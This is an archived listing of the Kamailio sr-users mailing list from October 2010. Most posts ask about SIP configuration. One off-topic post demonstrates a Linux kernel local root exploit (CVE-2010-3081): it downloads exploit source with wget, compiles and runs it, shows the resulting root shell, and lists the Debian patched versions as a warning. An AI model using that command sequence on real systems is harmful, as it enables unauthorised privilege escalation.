sr-users October 2010

sr-users@lists.kamailio.org

77 participants
158 discussions

Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 15 Oct '10

15 Oct '10

Hi, Thanks for your quickly support, but after recompile with the lastest git branch 3.0 version, I still meet the same problem. >From my xmpp client, i chat to sip client (e.g 101*sip.htk.com(a)xmpp.htk.com), the xmpp server looking for its database and not found user 101*sip.htk.com. So, it show the error 503. I don't know why the xmpp server not send message to my sip server ? At the current time, can we use the server mode of xmpp module ? If yes, how can establish the connection between xmpp module (on kamailio server) and the xmpp server, if the xmpp module not running at port 5269 ? Thanks, Huy Nguyen www.htk-inc.com Date: Thu, 14 Oct 2010 19:57:57 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, take the latest git version from branch kamailio_3.0. There were some fixes to xmpp module after 3.0.1. Cheers, Daniel On 10/14/10 7:41 PM, Huy Nguyen wrote: Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com

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Regd: Kamailio + Asterisk
by jack nicolson 15 Oct '10

15 Oct '10

Hi, I am trying to use kamailio as SIP server, so that it receive SIP invite and rewrite to asterisk, the set up is working fine for audio stuff, however for video it is not working properly, For rtsp stream I am getting no media found in asterisk log Could help me in it. Thanks Jack

2 3

Record-route issue in Kamailio 3.0.3
by Morten Isaksen 14 Oct '10

14 Oct '10

Hi, I think I have found a issue with recourd-route in Kamailio 3.0.3. My old setup was: Microsoft OCS <--> (TCP) OpenSER (UDP) <---> (UDP) Mediant 2000 (ISDN). That worked fine. Now I have inserted a new server in this setup. Microsoft OCS <--> (TCP) OpenSER (UDP) <---> (UDP) Kamailio (UDP) <--> (UDP) Mediant 2000 (ISDN). When OpenSer sends the message to Kamailio the recourd-routes look like this: Record-Route: <sip:x.x.248.20;r2=on;lr;ftag=3d9e7d131b> Record-Route: <sip:x.x.248.20;transport=tcp;r2=on;lr;ftag=3d9e7d131b> But when the message comes back from Kamailio it is: Record-Route: <sip:x.x.248.7;lr=on;ftag=3d9e7d131b;did=584.1a683a45>,<sip:x.x.248.20;r2=on;lr;ftag=3d9e7d131b>,<sip:x.x.248.20;transport=tcp;r2=on;lr;ftag=3d9e7d131b> OpenSER forwards the message to the OCS with Record-route unchanged and the OCS gets confused and does not reply. I am not that strong in the SIP RFC's. Is it part of the SIP standard to compact the record-route into one line? Is it a bug in Kamailio or is it just a parameter that needs to be changed? Any help will be much appreciated. -- Morten Isaksen

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Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 14 Oct '10

14 Oct '10

Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com

2 1

where to look
by Anders 14 Oct '10

14 Oct '10

Hi, I was wondering if a message like this below in the syslog contains any lead as to where to look for the problem. The [23582] is a lead to where the problem occured? Oct 14 13:34:52 server1 /usr/local/sbin/kamailio[23582]: ERROR:db_mysql:db_mysql_submit_query: driver error on query: Unknown column 'xxxxx' in 'where clause' And concerning this specific issue, where I put 'xxxxx' appears the src_user. Problem in kamailio.cfg, right? Thanks! //Anders

2 3

redirect on register
by Nick Olkin 14 Oct '10

14 Oct '10

Hi all! I need to implement a kind of Location Server. The idea behind is to process the REGISTER messages and analyze the source IP address of the packet and reply with the "302 Moved Temporarily" message. What I want to achieve - provide the SIP client with the "nearest" point to use for registration and further communications. The possible approach is: 1. make some list of available registrars/SBC's mapped to appropriate IP (sub)networks. 2. configure SER to process REGISTER messages and reply with "302 Moved Temporarily" having the IP or name of "nearest" point in Contact field. Does anybody have any ideas on possible implementations (with SER or perhaps with some other tools)? Thanks a lot! PS. At this moment I can certainly send "302 Moved Temporarily" on REGISTER with SER, but I have no idea on how to insert correct Contact header, so my SIP client just stops registering.

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Re: [SR-Users] Regarding SER Listening on two ports
by Saurabh Srivastava 14 Oct '10

14 Oct '10

Hello, We are facing a problem after doing the changes that you said to do in the configuration file. Now we are able to get the server listening on two ports such as 5060 & 5062 but now the problem is that the user agent which is registered from 5060 is able to communicate with the other user agent registered to 5060 and the same is true for the other port 5062 (i.e. the user agent which is registered from 5062 is able to communicate with the other user agent registered to 5062.). But there is no communication happening in case of one user is registered to 5060 and the other user is registered through 5062. Please help us in this regard. Thanks and Best Regards Saurabh Srivastava On Wed, Oct 13, 2010 at 5:59 PM, Saurabh Srivastava <saurabh(a)atc-labs.com>wrote: > Hello Andrei, > > Wwhere do we need to add this line > > "listen=eth0:5060 eth0:5062" > > in the ser.cfg file or somewhere else. Please guide me through the steps or > if it is possible can you please attach an example ser.cfg for listening on > 2 ports. > > Thanks and Best Regards > Saurabh Srivastava > > On Fri, Oct 8, 2010 at 1:28 PM, Andrei Pelinescu-Onciul < > andrei(a)iptel.org> wrote: > >> On Oct 06, 2010 at 11:43, Saurabh Srivastava <saurabh(a)atc-labs.com> >> wrote: >> > Hello SER Team, >> > >> > We are using SER as a SIP Server for our purpose. We wan to configure >> SER to >> > listen on two ports at the same time(i.e. 5060 & some other custom port >> such >> > as 5090 or something like that). Can you please assist us how can we >> achieve >> > this, means what changes we need to make such that SER listens on two >> ports >> > at the same time. >> >> Add >> listen=eth0:5060 eth0:5062 >> >> The generic format is: listen=[proto:]ip_hostname_or_interface[:port]. >> >> You can also do it form the command line. e.g.: >> ser -f yourconfig -l 127.0.0.1:5060 -l 127.0.0.1:5062 >> >> Andre > >

1 0

Use Kamailio
by michel freiha 14 Oct '10

14 Oct '10

*Dear All, I'm planning to use Kamailio in a high network traffic environment... I'm sure that it can handle several thousand of calls when using SIP over UDP but I have a doubt regarding TLS/TCPusage with Kamailio...I saw on the website that the latest version fixed that BUG that I had bad experience with and Kamailio is ready now for using TLS over TCP with no problem... My question is, how much TLS/TCP calls Kamailio can handle and does anyone had an experience with it? Regards*

2 1

forward sip register
by Borin 14 Oct '10

14 Oct '10

Hello, I am not good at kamailio. Could anyone tell me how can I forward register messages coming to kamailio to asterisk? I need users to be registered on kamailio and on asterisk at one time. I do in kamailio.cfg: if (is_method("REGISTER")) { save("location"); route(FWD_REG); exit; } route[FWD_REG] { rewritehost("Asterisk_IP:5060"); if(!t_relay()) sl_reply_error(); exit; } But it (kamailio ver 3.1) does not forward them.

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[OT] Local root exploit for the x86_64 Linux kernel ia32syscall emulation vulnerability
by Iñaki Baz Castillo 14 Oct '10

14 Oct '10

In any Linux Kernel 64 bits < 2.6.36-rc4: -------------------------------------------- ibc@myserver :/tmp$ whoami ibc ibc@myserver:/tmp$ wget http://packetstormsecurity.org/1009-exploits/robert_you_suck.c ibc@myserver:/tmp$ gcc -o putada robert_you_suck.c ibc@myserver:/tmp$ ./putada resolved symbol commit_creds to 0xffffffff81092120 resolved symbol prepare_kernel_cred to 0xffffffff81091fa0 mapping at 3f80000000 UID 0, EUID:0 GID:0, EGID:0 sh-3.2# whoami root <----------- OPSSSS !!! -------------------------------------------- More info: http://packetstormsecurity.org/filedesc/robert_you_suck.c.html Fixed in Debian (kernel patch backported): http://security-tracker.debian.org/tracker/CVE-2010-3081 - lenny (security) 2.6.26-25lenny1 fixed - lenny-backports 2.6.32-23~bpo50+1 fixed - squeeze 2.6.32-23 fixed -- Iñaki Baz Castillo <ibc(a)aliax.net>

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sr-users October 2010